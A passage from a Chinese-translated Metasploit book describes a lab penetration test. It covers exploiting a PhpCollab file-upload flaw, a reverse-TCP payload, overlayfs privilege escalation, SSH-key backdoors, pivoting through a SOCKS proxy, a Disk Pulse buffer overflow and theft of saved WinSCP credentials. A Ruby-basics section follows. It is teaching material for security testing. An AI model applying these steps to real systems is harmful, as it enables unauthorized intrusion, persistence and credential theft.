开始新的渗透测试时，最好将先前扫描的主机及其相应的数据与新的渗透测试分开，以免混在一起。在开始新的渗透测试之前，我们可以在 Metasploit 中使用workspace命令来做到这一点，如下面的屏幕截图所示：

要添加一个新的工作空间，我们可以使用workspace -a命令，后面跟着一个标识符。我们应该将标识符保持为当前正在评估的组织的名称，如下面的屏幕截图所示：

我们可以看到，我们已经成功使用-a开关创建了一个新的工作空间。让我们通过简单地发出workspace命令，后面跟着工作空间名称，来切换工作空间，如前面的屏幕截图所示。有了工作空间，让我们快速对目标 IP 进行 Nmap 扫描，看看是否有一些有趣的服务在运行：

扫描结果让人心碎。除了端口80上没有运行任何服务外，目标上没有运行任何服务。

默认情况下，Nmap 只扫描前 1000 个端口。我们可以使用-p-开关扫描所有的 65535 个端口。

由于我们连接到了 Metasploit 数据库，我们检查的所有内容都会被记录到数据库中。发出services命令将从数据库中填充所有扫描到的服务。此外，让我们通过db_nmap使用-sV开关执行版本检测扫描，如下面的屏幕截图所示：

先前的 Nmap 扫描发现了端口80并将其记录在数据库中。然而，版本检测扫描发现了在端口80上运行的服务，即 Apache 2.4.7 Web 服务器，找到了 MAC 地址、操作系统类型，并更新了数据库中的条目，如前面的屏幕截图所示。由于获取访问权限需要明确针对软件特定版本的精确利用，因此始终要对版本信息进行双重检查。Metasploit 包含一个用于 HTTP 版本指纹识别的内置辅助模块。让我们使用它，如下面的屏幕截图所示：

要启动http_version扫描器模块，我们发出use命令，后面跟着模块的路径，即auxiliary/scanner/http/http_version。所有基于扫描的模块都有RHOSTS选项，用于包含广泛的 IP 地址和子网。然而，由于我们只测试单个 IP 目标，我们使用set命令将RHOSTS指定为目标 IP 地址，即192.168.174.132。接下来，我们只需使用run命令执行模块，如下面的屏幕截图所示：

这个版本的 Apache 正是我们在先前的 Nmap 扫描中发现的版本。运行在目标上的这个版本的 Apache Web 服务器是安全的，在exploit-db.com和0day.today等利用数据库中都没有公开的利用。因此，我们别无选择，只能寻找 Web 应用程序中的漏洞，如果有的话。让我们尝试浏览这个 IP 地址，看看我们能否找到一些东西：

好吧！我们有一个索引页面，但没有内容。让我们尝试使用 Metasploit 的dir_scanner模块来查找一些已知目录，如下面的屏幕截图所示：

加载auxiliary/scanner/http/dir_scanner模块后，让我们通过设置DICTIONARY参数中的路径来提供包含已知目录列表的字典文件。此外，我们可以通过将THREADS参数从1增加到20来加快进程。让我们运行模块并分析输出：

在单个目录条目之间的空格字符产生了很多误报。然而，我们从phpcollab目录得到了 302 响应代码，这表明在尝试访问phpcollab目录时，模块收到了重定向响应（302）。响应很有趣；让我们看看当我们尝试从浏览器打开phpcollab目录时会得到什么：

很好！我们有一个基于 PHP 的应用程序正在运行。因此，我们在 Metasploit 模块中得到了 302 响应。

威胁建模

从情报收集阶段，我们可以看到目标系统上只有端口80是开放的，并且运行在上面的应用程序不容易受到攻击，正在运行 PhpCollab Web 应用程序。尝试一些随机密码和用户名来访问 PhpCollab 门户没有成功。即使搜索 Metasploit，我们也没有 PhpCollab 的模块：

让我们尝试使用searchsploit工具从exploit-db.com/搜索 PhpCollab。searchsploit 允许您轻松搜索托管在 exploit 数据库网站上的所有漏洞，因为它维护了所有漏洞的离线副本：

哇！我们有一个 PhpCollab 的漏洞利用，好消息是它已经在 Metasploit 漏洞利用格式中。

漏洞分析 - 任意文件上传（未经身份验证）

PhpCollab 应用程序没有正确过滤上传文件的内容。因此，未经身份验证的攻击者可以上传恶意文件并运行任意代码。

对 PhpCollab 2.5.1 应用程序的攻击机制

如果攻击者通过在/clients/editclient.php?id=1&action=update URL 上发送POST请求上传恶意的 PHP 文件，应用程序可能会受到威胁。代码没有验证请求是否来自经过身份验证的用户。有问题的代码如下：

从第 2 行，我们可以看到上传的文件以$id后跟$extention的形式保存在logos_clients目录中，这意味着由于我们在 URL 中有id=1，上传的后门将保存为1.php在logos_clients目录中。

有关此漏洞的更多信息，请参阅：sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated/。

利用和获取访问权限

为了访问目标，我们需要将此漏洞利用复制到 Metasploit 中。然而，直接将外部漏洞利用复制到 Metasploit 的漏洞利用目录是不鼓励的，也是不良实践，因为您将在每次更新时丢失模块。最好将外部模块保存在一个通用目录中，而不是 Metasploit 的modules目录。然而，保持模块的最佳方法是在系统的其他地方创建类似的目录结构，并使用loadpath命令加载它。让我们将找到的模块复制到某个目录：

让我们创建目录结构，如下截图所示：

我们可以看到，我们在MyModules文件夹中创建了一个 Metasploit 友好的结构，即modules/exploits/nipun，并将漏洞也移动到了该目录中。让我们按照以下步骤将此结构加载到 Metasploit 中：

我们已成功将漏洞加载到 Metasploit 中。让我们使用模块，如下面的截图所示：

该模块要求我们设置远程主机的地址、远程端口和 PhpCollab 应用程序的路径。由于路径（TARGETURI）和远程端口（RPORT）已经设置好了，让我们将RHOST设置为目标的 IP 地址，并发出exploit命令：

哇！我们已经访问了系统。让我们使用一些基本的后期利用命令并分析输出，如下面的截图所示：

正如我们在前面的截图中所看到的，运行sysinfo命令可以获取系统的信息，如计算机名称、操作系统、架构（64 位版本）和 Meterpreter 版本（基于 PHP 的 Meterpreter）。让我们使用shell命令在受损主机上进入系统 shell，如下面的截图所示：

我们可以看到，一旦我们进入系统 shell，运行诸如id之类的命令会提供我们当前用户正在使用的输入，即www-data，这意味着要完全控制该系统，我们需要 root 权限。此外，发出lsb_release -a命令会输出具有确切版本和代号的操作系统版本。让我们记下它，因为在获取对系统的 root 访问权限时会需要。然而，在我们继续进行 root 操作之前，让我们从系统中获取一些基本信息，例如使用getpid命令获取当前进程 ID，使用getuid命令获取当前用户 ID，用于唯一用户标识符的uuid和用于受损机器的machine_id。让我们运行我们刚刚讨论的所有命令并分析输出：

我们得到的信息相当直接。我们有当前进程的 ID，我们的 Meterpreter 所在的用户 ID，UUID 和机器 ID。然而，这里需要注意的一点是，我们的访问是基于 PHP Meterpreter 的，而 PHP Meterpreter 的限制是我们无法运行特权命令，这些命令可以很容易地由更具体的二进制 Meterpreter shells（如reverse TCP）提供。首先，让我们升级到更具体的 shell，以获得更好的目标访问级别。我们将使用msfvenom命令创建一个恶意载荷；然后我们将上传到目标系统并执行它。让我们开始吧：

由于我们的受损主机正在运行 64 位架构，我们将使用 Meterpreter 的 64 位版本，如前面的屏幕截图所示。MSFvenom 根据我们的要求生成强大的有效载荷。我们使用-p开关指定有效载荷，它就是linux/x64/meterpreter/reverse_tcp。这个有效载荷是 64 位 Linux 兼容的 Meterpreter 有效载荷，一旦在受损系统上执行，它将连接回我们的监听器，并为我们提供对机器的访问权限。由于有效载荷必须连接回我们，它应该知道要连接到哪里。出于这个原因，我们指定了LHOST和LPORT选项，其中LHOST作为我们监听器运行的 IP 地址，LPORT指定监听器的端口。我们将在 Linux 机器上使用有效载荷。因此，我们指定格式（-f）为 elf，这是 Linux 操作系统的默认可执行二进制格式。-b选项用于指定可能在通信中遇到问题并可能破坏 shellcode 的不良字符。有关不良字符及其规避的更多信息将在接下来的章节中介绍。最后，我们将有效载荷写入reverse_connect.elf文件。

接下来，由于我们已经在机器上拥有了一个 PHP Meterpreter 访问权限，让我们使用upload命令上传新创建的有效载荷，如前面的屏幕截图所示。我们可以通过发出pwd命令来验证上传的当前路径，这表示我们正在使用的当前目录。一旦执行了上传的有效载荷，它将连接回我们的系统。然而，我们在接收端也需要一些东西来处理连接。让我们运行一个处理程序来处理传入的连接，如下面的屏幕截图所示：

我们可以看到，我们使用background命令将 PHP Meterpreter 会话推送到后台。让我们使用exploit/multi/handler模块，并设置与reverse_connect.elf中使用的相同的有效载荷、LHOST 和 LPORT，然后使用exploit命令运行该模块。

使用-j命令利用后台模式启动处理程序作为作业，并可以处理多个连接，全部在后台进行。

我们已成功设置了处理程序。接下来，我们只需要在目标上执行有效载荷文件，如下面的屏幕截图所示：

我们可以看到，我们刚刚使用 shell 命令放置了一个 shell。我们使用pwd命令检查了目标上的当前工作目录。接下来，我们给有效载荷文件赋予了可执行权限，以便我们可以执行它，最后，我们使用&标识符在后台运行了reverse_connect.elf可执行文件。前面的屏幕截图显示，我们一旦运行可执行文件，就会打开一个新的 Meterpreter 会话到目标系统。使用sessions -i命令，我们可以看到我们现在在目标上有两个 Meterpreter：

然而，x64/Linux Meterpreter 显然比 PHP Meterpreter 更好，我们将继续通过这个 Meterpreter 与系统交互，除非我们获得了更高权限的 Meterpreter。但是，如果出现意外情况，我们可以切换访问到 PHP Meterpreter 并重新运行这个 payload，就像我们刚刚做的那样。这里的一个重要点是，无论我们在目标上获得了更好的访问级别，我们仍然是低权限用户，我们希望改变这一点。Metasploit 框架包含一个名为local_exploit_suggester的优秀模块，它有助于提升权限。它具有内置机制来检查各种本地提权利用，并建议在目标上使用最佳的利用。我们可以加载这个模块，如下面的屏幕截图所示：

我们使用use命令加载了模块，后面跟着模块的绝对路径，即post/multi/recon/local_exploit_suggester。由于我们想在目标上使用这个 exploit，我们自然会选择更好的 Meterpreter 来路由我们的检查。因此，我们将SESSION设置为2，以通过SESSION 2路由我们的检查，这是 x64/Linux Meterpreter 的标识符。让我们运行这个模块并分析输出：

太神奇了！我们可以看到suggester模块表明exploit/linux目录中的overlayfs_priv_esc本地利用模块可以在目标上用于获取 root 访问权限。但是，我把它留给你们来完成。让我们手动在目标上下载本地 root exploit，编译并执行它以获取目标系统的 root 访问权限。我们可以从以下网址下载 exploit：www.exploit-db.com/exploits/37292。但是，让我们在下一节中收集一些关于这个 exploit 的细节。

使用本地 root exploit 提升权限

overlayfs提权漏洞允许本地用户利用允许在任意挂载的命名空间中使用overlayfs的配置来获取 root 权限。这个漏洞存在的原因是overlayfs的实现没有正确检查在上层文件系统目录中创建文件的权限。

有关漏洞的更多信息可以在这里找到：www.cvedetails.com/cve/cve-2015-1328。

让我们进入一个 shell，并从www.exploit-db.com/下载原始 exploit 到目标上：

让我们将漏洞从37292重命名为37292.c，并使用gcc编译它，这将生成一个可执行文件，如下面的屏幕截图所示：

我们可以看到我们成功编译了 exploit，让我们运行它：

太棒了！正如我们所看到的，通过运行 exploit，我们已经获得了对 root shell 的访问；这标志着对这个系统的完全妥协。让我们运行一些基本命令并确认我们的身份：

记住，我们在后台运行了一个 exploit handler？让我们运行相同的reverse_connect.elf文件：

又打开了一个 Meterpreter 会话！让我们看看这个 Meterpreter 与其他两个有何不同：

我们可以看到我们从目标系统获得了第三个 Meterpreter。但是，UID，也就是用户 ID，是0，表示 root 用户。因此，这个 Meterpreter 正在以 root 权限运行，并且可以为我们提供对整个系统的无限制访问。让我们使用session -i命令与会话标识符交互，这种情况下是3：

（图片）

我们可以通过getuid命令确认 root 身份，如前面的截图所示。我们现在拥有了系统的完全权限，接下来呢？

使用 Metasploit 保持访问

保持对目标系统的访问是一个理想的功能，特别是在执法机构或红队测试目标上部署的防御时。我们可以通过 Metasploit 在 Linux 服务器上使用post/linux/manage目录中的sshkey_persistence模块实现持久性。该模块添加了我们的 SSH 密钥或创建一个新的密钥，并将其添加到目标服务器上存在的所有用户。因此，下次我们想登录到服务器时，它将不会要求我们输入密码，而只会使用密钥让我们进入。让我们看看我们如何实现这一点：

（图片）

我们只需要使用set SESSION命令设置会话标识符，然后使用具有最高特权级别的会话。因此，我们将使用3作为SESSION标识符，并直接运行模块，如下所示：

（图片）

我们可以看到该模块创建了一个新的 SSH 密钥，然后将其添加到目标系统上的两个用户，即root和claire。我们可以通过使用 SSH 连接到目标，使用root或用户claire，或两者，来验证我们的后门访问，如下所示：

（图片）

太棒了！我们可以看到我们通过使用新创建的 SSH 密钥登录到目标系统，使用了-i选项，如前面的屏幕所示。让我们看看我们是否也可以作为用户claire登录：

（图片）

是的！我们可以使用两个后门用户登录。

大多数服务器不允许 root 登录。因此，您可以编辑sshd config文件，将 root 登录更改为yes，并在目标上重新启动 SSH 服务。

尝试只给一个用户后门，比如 root，因为大多数人不会通过 root 登录，因为默认配置禁止了这样做。

后渗透和转向

无论我们已经攻陷了什么操作系统，Metasploit 都提供了数十个后渗透侦察模块，可以从受损的机器中收集大量数据。让我们使用其中一个模块：

（图片）

运行enum_configs后渗透模块，我们可以看到我们已经收集了目标上存在的所有配置文件。这些配置帮助我们发现密码、密码模式、关于正在运行的服务的信息，以及更多其他信息。另一个很棒的模块是enum_system，它收集了与操作系统相关的信息、用户账户、正在运行的服务、正在运行的定时作业、磁盘信息、日志文件等等，如下面的截图所示：

（图片）

在目标上收集了大量详细信息后，是不是该开始报告了呢？还不是。一个优秀的渗透测试人员会获取系统访问权限，获得最高级别的访问权限，并提出他的分析。然而，一个优秀的渗透测试人员会做同样的事情，但永远不会停留在一个单一的系统上。他们会尽力进入内部网络，并获得更多对网络的访问权限（如果允许的话）。让我们使用一些命令来帮助我们转向内部网络。一个这样的例子是arp命令，它列出内部网络中的所有已连接系统：

（图片）

我们可以看到一个单独的网络存在，它在192.168.116.0范围内。让我们发出ifconfig命令，看看受损主机上是否连接了另一个网络适配器：

（图片）

是的！我们做对了-还有另一个网络适配器（Interface 3）连接到一个单独的网络范围。然而，当我们尝试从我们的地址范围对这个网络进行 ping 或扫描时，我们无法做到，因为从我们的 IP 地址无法访问该网络，这意味着我们需要一种可以通过受损主机将数据从我们的系统转发到目标（否则无法访问）范围的机制。我们称这种安排为枢纽。因此，我们将通过我们获得的 Meterpreter 在系统上添加到目标范围的路由，并且范围内的目标系统将把我们的受损主机视为源发起者。让我们通过 Meterpreter 添加到否则无法访问的范围的路由，如下截图所示：

使用post/multi/manage目录下的autoroute后渗透模块，我们需要在SUBNET参数中指定目标范围，并将SESSION设置为 Meterpreter 的会话标识符，通过该会话数据将被隧道传输。通过运行该模块，我们可以看到已成功添加了到目标范围的路由。让我们运行 Metasploit 的 TCP 端口扫描模块，并分析我们是否可以扫描目标范围内的主机：

我们只需在找到的目标上运行portscanner模块，即使用arp命令找到的192.168.116.133，使用 10 个线程扫描端口 1-10000，如前面的截图所示：

成功！我们可以看到端口80是开放的。然而，我们只能通过 Meterpreter 进行访问。我们需要一种机制，可以通过 Web 浏览器运行一些外部工具来浏览端口80，以了解更多关于运行在端口80上的目标应用程序。Metasploit 提供了一个内置的 socks 代理模块，我们可以运行它，并将流量从我们的外部应用程序路由到目标192.168.116.133系统。让我们按照以下方式使用这个模块：

我们只需要运行位于辅助/服务器路径下的socks4a模块。它将在本地端口1080上设置一个网关，将流量路由到目标系统。在127.0.0.1:1080上代理将通过受损主机转发我们的浏览器流量。然而，对于外部工具，我们需要使用proxychains并通过将端口设置为1080来配置它。proxychains的端口可以使用/etc/proxychains.conf文件进行配置：

接下来的事情就是在浏览器中将该地址设置为代理，或者在所有第三方命令行应用程序（如 Nmap 和 Metasploit）中使用proxychains作为前缀。我们可以根据以下截图配置浏览器：

确保从“无代理”部分中删除localhost和127.0.0.1。设置代理后，我们只需在端口80上浏览 IP 地址，并检查是否可以到达端口80：

不错！我们可以看到应用程序，它说它是 Disk Pulse Enterprise，软件版本 9.9.16，这是一个已知的有漏洞的版本。在 Metasploit 中，我们有很多关于 Disk Pulse 的模块。让我们使用其中一个，如下所示：

是的！我是这个漏洞利用模块的原始作者之一。在利用之前，让我们了解一下这个漏洞。

漏洞分析-基于 SEH 的缓冲区溢出

漏洞在 Disk Pulse 9.9.16 的 Web 服务器组件解析GET请求时存在。攻击者可以构造恶意的GET请求并导致 SEH 帧被覆盖，这将使攻击者完全访问程序的流程。由于 Disk Pulse 以管理员权限运行，攻击者将获得系统的完全访问权限。

让我们利用漏洞并利用系统，如下所示：

只需设置RHOST和LPORT（将允许我们访问目标成功利用的网关端口），我们就可以准备利用系统。我们可以看到，一旦我们运行了利用程序，我们就打开了 Meterpreter 会话5，这标志着成功入侵了目标。我们可以使用sessions -i命令验证我们的会话列表，如下所示：

让我们与会话5进行交互，并检查我们拥有的访问级别：

发出getuid命令，我们可以看到我们已经拥有 Windows 操作系统上的最高特权NT AUTHORITY SYSTEM。

有关此漏洞的更多信息，请参阅：cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13696。

通过入侵密码管理器来利用人为错误

拥有最高级别的特权，让我们进行一些后期利用，如下所示：

在目标系统上查找安装的各种应用程序总是很好，因为其中一些应用程序可能已经将凭据保存到网络的其他部分。枚举已安装应用程序的列表，我们可以看到我们有 WinSCP 5.7，这是一个流行的 SSH 和 SFTP 客户端。Metasploit 可以从 WinSCP 软件中收集保存的凭据。让我们运行post/windows/gather/credentials/winscp模块，并检查我们是否在 WinSCP 软件中有一些保存的凭据：

太棒了！我们在网络中又救回了另一个主机的凭据，即192.168.116.134。好消息是保存的凭据是 root 帐户的，所以如果我们访问这个系统，将会拥有最高级别的特权。让我们使用ssh_login模块中找到的凭据，如下所示：

由于我们已经知道用户名和密码，让我们为模块设置这些选项，以及目标 IP 地址，如下截图所示：

太棒了！这是一个成功的登录，Metasploit 已经自动在其上获得了系统 shell。但是，我们总是可以使用 Meterpreter shell 升级到更好的访问质量。让我们使用msfvenom创建另一个后门，如下所示：

后门将在端口1337上监听连接。然而，我们如何将这个后门传输到被入侵的主机上呢？记住，我们运行了 socks 代理辅助模块并对配置进行了更改？在大多数工具的后缀中使用proxychains关键字将强制工具通过proxychains进行路由。因此，为了传输这样一个文件，我们可以使用如下截图所示的scp。

我们可以看到我们已成功传输了文件。运行匹配处理程序，类似于我们为第一个系统所做的，我们将从目标处获得连接。让我们总览一下我们在这个练习中获得的所有目标和会话：

在这个实践的真实世界示例中，我们通过本地漏洞、人为错误和利用以最高特权运行的软件，成功入侵了三个系统，并获得了最高可能的特权。

重新审视案例研究

为了设置测试环境，我们将需要多个操作系统，主要是两个不同的主机专用网络。此外，我们还需要以下组件：

组件名称	类型	使用的版本	网络详细信息	网络类型
Kali Linux VM Image	操作系统	Kali Rolling（2017.3）x64	192.168.174.128（Vmnet8）	仅主机
Ubuntu 14.04 LTS	操作系统	14.04（trusty）	192.168.174.132（Vmnet8）192.168.116.129（Vmnet6）	仅主机仅主机
Windows 7	操作系统	专业版	192.168.116.133（Vmnet6）	仅主机
Ubuntu 16.04 LTS	操作系统	16.04.3 LTS（xenial）	192.168.116.134（Vmnet6）	仅主机
PhpCollab	Web 应用程序	2.5.1
Disk Pulse	企业磁盘管理软件	9.9.16
WinSCP	SSH 和 SFTP	5.7

修改方法

在这个练习中，我们执行了以下关键步骤：

1. 我们首先对目标 IP 地址192.168.174.132进行了 Nmap 扫描。

2. Nmap 扫描显示192.168.174.132的端口80是开放的。

3. 接下来，我们对运行在端口80上的应用程序进行了指纹识别，发现正在运行 Apache 2.4.7。

4. 我们尝试浏览 HTTP 端口。但是，我们什么也没找到。

5. 我们运行了dir_scanner模块，在 Apache 服务器上执行基于字典的检查，并找到了 PhpCollab 应用程序目录。

6. 我们使用searchsploit找到了 PhpCollab 的一个利用模块，并不得不将第三方利用程序导入 Metasploit。

7. 接下来，我们利用应用程序并获得了对目标系统的有限用户访问权限。

8. 为了改进我们的访问机制，我们上传了一个带后门的可执行文件，并实现了对目标更高级别的访问。

9. 为了获得 root 访问权限，我们运行了suggester模块的漏洞利用程序，并发现 overlayfs 特权升级漏洞利用程序将帮助我们实现对目标的 root 访问权限。

10. 我们从exploit-db.com/下载了 overlayfs 漏洞利用程序，编译并运行它以获得对目标的 root 访问权限。

11. 使用相同的先前生成的后门，我们打开了另一个 Meterpreter shell，但这次是以 root 权限。

1. 我们使用 Metasploit 中的sshkey_persistence模块向系统添加了持久性。

2. 在目标上运行arp命令，我们发现与主机有一个单独的网络连接，该主机位于192.168.116.0/24的目标范围内。

3. 我们使用 autoroute 脚本向该网络添加了一条路由。

4. 我们使用 Metasploit 中的 TCP 端口扫描模块从arp命令中扫描系统。

5. 我们发现系统的端口80是开放的。

6. 由于我们只能通过 Meterpreter 访问目标网络，我们使用 Metasploit 中的socks4a模块，使其他工具通过 Meterpreter 连接到目标。

7. 运行 socks 代理，我们配置浏览器使用端口1080上的socks4a代理。

8. 我们通过浏览器打开了192.168.116.133，发现它正在运行 Disk Pulse 9.9.16 web 服务器服务。

9. 我们在 Metasploit 中搜索 Disk Pulse，并发现它容易受到基于 SEH 的缓冲区溢出漏洞的影响。

10. 我们利用了漏洞，并获得了对目标的最高特权访问，因为该软件以 SYSTEM 级别特权运行。

1. 我们列举了已安装应用程序的列表，并发现系统上安装了 WinSCP 5.7。

2. 我们发现 Metasploit 包含一个内置模块，用于从 WinSCP 中获取保存的凭据。

3. 我们从 WinSCP 收集了 root 凭据，并使用ssh_login模块在目标上获得了 root shell。

1. 我们上传了另一个后门，以在目标上获得具有 root 权限的 Meterpreter shell。

总结和练习

在本章中，我们介绍了渗透测试涉及的各个阶段。我们还看到了如何设置 Metasploit 并在网络上进行渗透测试。我们还回顾了 Metasploit 的基本功能。我们还研究了在 Metasploit 中使用数据库的好处以及使用 Metasploit 进行内部系统的枢纽转移。

完成本章后，我们掌握了以下内容：

• 了解渗透测试的各个阶段

• 使用 Metasploit 中的数据库的好处

• Metasploit 框架的基础知识

• 了解利用和辅助模块的工作原理

• 了解如何转向内部网络并配置路由

• 理解使用 Metasploit 进行渗透测试的方法

本章的主要目标是让您熟悉渗透测试阶段和 Metasploit 的基础知识。本章完全侧重于为接下来的章节做准备。

为了充分利用本章所学的知识，您应该进行以下练习：

• 参考 PTES 标准，深入了解面向业务的渗透测试的所有阶段

• 在 Metasploit 框架中使用 overlayfs 特权提升模块

• 找到至少三种不属于 Metasploit 框架的不同利用，并将它们加载到 Metasploit 中

• 在 Windows 7 系统上执行后渗透，并识别五个最佳的后渗透模块

• 通过找到正确的持久性机制在 Windows 7 上实现持久性，并在此过程中检查是否有任何杀毒软件引发警报

• 识别 Windows、Linux 和 Mac 操作系统的至少三种持久性方法

在下一章中，我们将深入探讨脚本编写和构建 Metasploit 模块的广阔世界。我们将学习如何使用 Metasploit 构建尖端模块，并了解一些最流行的扫描和认证测试脚本的工作原理。

第十二章：重新发明 Metasploit

我们已经介绍了 Metasploit 的基础知识，现在我们可以进一步了解 Metasploit 框架的底层编码部分。我们将从 Ruby 编程的基础知识开始，以了解各种语法和语义。本章将使您更容易编写 Metasploit 模块。在本章中，我们将看到如何设计和制作各种具有我们选择功能的 Metasploit 模块。我们还将看看如何创建自定义后渗透模块，这将帮助我们更好地控制被利用的机器。

考虑一个情景，渗透测试范围内的系统数量庞大，我们渴望一个后渗透功能，比如从所有被利用的系统中下载特定文件。手动从每个系统下载特定文件不仅耗时，而且低效。因此，在这种情况下，我们可以创建一个自定义后渗透脚本，它将自动从所有被攻陷的系统中下载文件。

本章以 Metasploit 上下文中的 Ruby 编程的基础知识开始，并以开发各种 Metasploit 模块结束。在本章中，我们将涵盖：

• 在 Metasploit 的上下文中了解 Ruby 编程的基础知识

• 探索 Metasploit 中的模块

• 编写自定义扫描器、暴力破解和后渗透模块

• 编写 Meterpreter 脚本

• 了解 Metasploit 模块的语法和语义

• 使用 DLLs 通过RailGun执行不可能的任务

现在，让我们了解 Ruby 编程的基础知识，并收集我们编写 Metasploit 模块所需的必要要素。

在深入编写 Metasploit 模块之前，我们必须了解 Ruby 编程的核心功能，这些功能是设计这些模块所需的。为什么我们需要 Ruby 来开发 Metasploit？以下关键点将帮助我们理解这个问题的答案：

• 构建可重用代码的自动化类是 Ruby 语言的一个特性，符合 Metasploit 的需求

• Ruby 是一种面向对象的编程风格

• Ruby 是一种基于解释器的语言，速度快，减少开发时间

Ruby - Metasploit 的核心

Ruby 确实是 Metasploit 框架的核心。但是，Ruby 到底是什么？根据官方网站，Ruby 是一种简单而强大的编程语言，由松本行弘于 1995 年设计。它进一步被定义为一种动态、反射和通用的面向对象的编程语言，具有类似 Perl 的功能。

您可以从以下网址下载 Windows/Linux 的 Ruby：rubyinstaller.org/downloads/。

您可以在以下网址找到一个学习 Ruby 实践的优秀资源：tryruby.org/levels/1/challenges/0。

创建您的第一个 Ruby 程序

Ruby 是一种易于学习的编程语言。现在，让我们从 Ruby 的基础知识开始。请记住，Ruby 是一种广泛的编程语言，覆盖 Ruby 的所有功能将超出本书的范围。因此，我们只会坚持设计 Metasploit 模块所需的基本要素。

与 Ruby shell 交互

Ruby 提供了一个交互式 shell，与之一起工作将帮助我们了解基础知识。所以，让我们开始吧。打开 CMD/Terminal 并键入irb以启动 Ruby 交互式 shell。

让我们在 Ruby shell 中输入一些内容，看看会发生什么；假设我输入数字2，如下所示：

irb(main):001:0> 2
=> 2   

shell 只是返回值。让我们再输入一些内容，比如带有加法运算符的内容，如下所示：

irb(main):002:0> 2+3
=> 5  

我们可以看到，如果我们以表达式的形式输入数字，shell 会返回表达式的结果。

让我们对字符串执行一些功能，例如将字符串的值存储在变量中，如下所示：

irb(main):005:0> a= "nipun"
=> "nipun"
irb(main):006:0> b= "loves Metasploit"
=> "loves metasploit"  

在为变量a和b分配值之后，让我们看看当我们在控制台上输入a和a+b时会发生什么：

irb(main):014:0> a
=> "nipun"
irb(main):015:0> a+b
=> "nipun loves metasploit"  

我们可以看到当我们输入a时，它反映了存储在名为a的变量中的值。同样，a+b给了我们连接的a和b。

在 shell 中定义方法

方法或函数是一组语句，当我们调用它时将执行。我们可以在 Ruby 的交互式 shell 中轻松声明方法，也可以使用脚本声明方法。在处理 Metasploit 模块时，了解方法是很重要的。让我们看看语法：

def method_name [( [arg [= default]]...[, * arg [, &expr ]])]
expr
end  

要定义一个方法，我们使用def后跟方法名，括号中包含参数和表达式。我们还使用end语句，跟随所有表达式以设置方法定义的结束。在这里，arg指的是方法接收的参数。此外，expr指的是方法接收或计算的表达式。让我们看一个例子：

irb(main):002:0> def xorops(a,b)
irb(main):003:1> res = a ^ b
irb(main):004:1> return res
irb(main):005:1> end
=> :xorops  

我们定义了一个名为xorops的方法，它接收名为a和b的两个参数。此外，我们对接收的参数进行了异或操作，并将结果存储在一个名为res的新变量中。最后，我们使用return语句返回结果：

irb(main):006:0> xorops(90,147)
=> 201  

我们可以看到我们的函数通过执行异或操作打印出了正确的值。Ruby 提供了两种不同的函数来打印输出：puts和print。当涉及到 Metasploit 框架时，主要使用print_line函数。然而，可以使用print_good、print_status和print_error语句来表示成功、状态和错误。让我们看一些例子：

print_good("Example of Print Good") 
print_status("Example of Print Status") 
print_error("Example of Print Error") 

这些print方法在与 Metasploit 模块一起使用时，将产生以下输出：绿色的+符号表示良好，蓝色的*表示状态消息，红色的-表示错误：

[+] Example of Print Good
[*] Example of Print Status
[-] Example of Print Error  

我们将在本章的后半部分看到各种print语句类型的工作方式。

Ruby 中的变量和数据类型

变量是一个可以随时更改值的占位符。在 Ruby 中，我们只在需要时声明变量。Ruby 支持许多变量数据类型，但我们只讨论与 Metasploit 相关的类型。让我们看看它们是什么。

处理字符串

字符串是表示字符流或序列的对象。在 Ruby 中，我们可以轻松地将字符串值赋给变量，就像在前面的例子中看到的那样。只需在引号或单引号中定义值，我们就可以将值赋给字符串。

建议使用双引号，因为如果使用单引号，可能会出现问题。让我们看看可能出现的问题：

irb(main):005:0> name = 'Msf Book'
=> "Msf Book"
irb(main):006:0> name = 'Msf's Book'
irb(main):007:0' '  

我们可以看到当我们使用单引号时，它可以正常工作。然而，当我们尝试将Msf's替换为值Msf时，出现了错误。这是因为它将Msf's字符串中的单引号解释为单引号的结束，这并不是事实；这种情况导致了基于语法的错误。

连接字符串

在处理 Metasploit 模块时，我们将需要字符串连接功能。我们将有多个实例需要将两个不同的结果连接成一个字符串。我们可以使用+运算符执行字符串连接。但是，我们可以使用<<运算符向变量附加数据来延长变量：

irb(main):007:0> a = "Nipun" 
=> "Nipun" 
irb(main):008:0> a << " loves" 
=> "Nipun loves" 
irb(main):009:0> a << " Metasploit" 
=> "Nipun loves Metasploit" 
irb(main):010:0> a
=> "Nipun loves Metasploit" 
irb(main):011:0> b = " and plays counter strike" 
=> " and plays counter strike" 
irb(main):012:0> a+b 
=> "Nipun loves Metasploit and plays counter strike"  

我们可以看到，我们首先将值"Nipun"赋给变量a，然后使用<<运算符将"loves"和"Metasploit"附加到它上。我们可以看到我们使用了另一个变量b，并将值"and plays counter strike"存储在其中。接下来，我们简单地使用+运算符连接了这两个值，并得到了完整的输出"Nipun loves Metasploit and plays counter strike"。

子字符串函数

在 Ruby 中找到字符串的子字符串非常容易。我们只需要在字符串中指定起始索引和长度，如下例所示：

irb(main):001:0> a= "12345678"
=> "12345678"
irb(main):002:0> a[0,2]
=> "12"
irb(main):003:0> a[2,2]
=> "34"  

拆分函数

我们可以使用split函数将字符串的值拆分为变量数组。让我们看一个快速示例来演示这一点：

irb(main):001:0> a = "mastering,metasploit"
=> "mastering,metasploit"
irb(main):002:0> b = a.split(",")
=> ["mastering", "metasploit"]
irb(main):003:0> b[0]
=> "mastering"
irb(main):004:0> b[1]
=> "metasploit"  

我们可以看到，我们已经将字符串的值从","位置拆分为一个新数组b。现在，包含值"mastering"和"metasploit"的"mastering,metasploit"字符串分别形成数组b的第 0 和第 1 个元素。

Ruby 中的数字和转换

我们可以直接在算术运算中使用数字。但是，在处理用户输入时，记得使用.to_i函数将字符串转换为整数。另一方面，我们可以使用.to_s函数将整数转换为字符串。

让我们看一些快速示例及其输出：

irb(main):006:0> b="55"
=> "55"
irb(main):007:0> b+10
TypeError: no implicit conversion of Fixnum into String
        from (irb):7:in `+'
        from (irb):7
        from C:/Ruby200/bin/irb:12:in `<main>'
irb(main):008:0> b.to_i+10
=> 65
irb(main):009:0> a=10
=> 10
irb(main):010:0> b="hello"
=> "hello"
irb(main):011:0> a+b
TypeError: String can't be coerced into Fixnum
        from (irb):11:in `+'
        from (irb):11
        from C:/Ruby200/bin/irb:12:in `<main>'
irb(main):012:0> a.to_s+b
=> "10hello"  

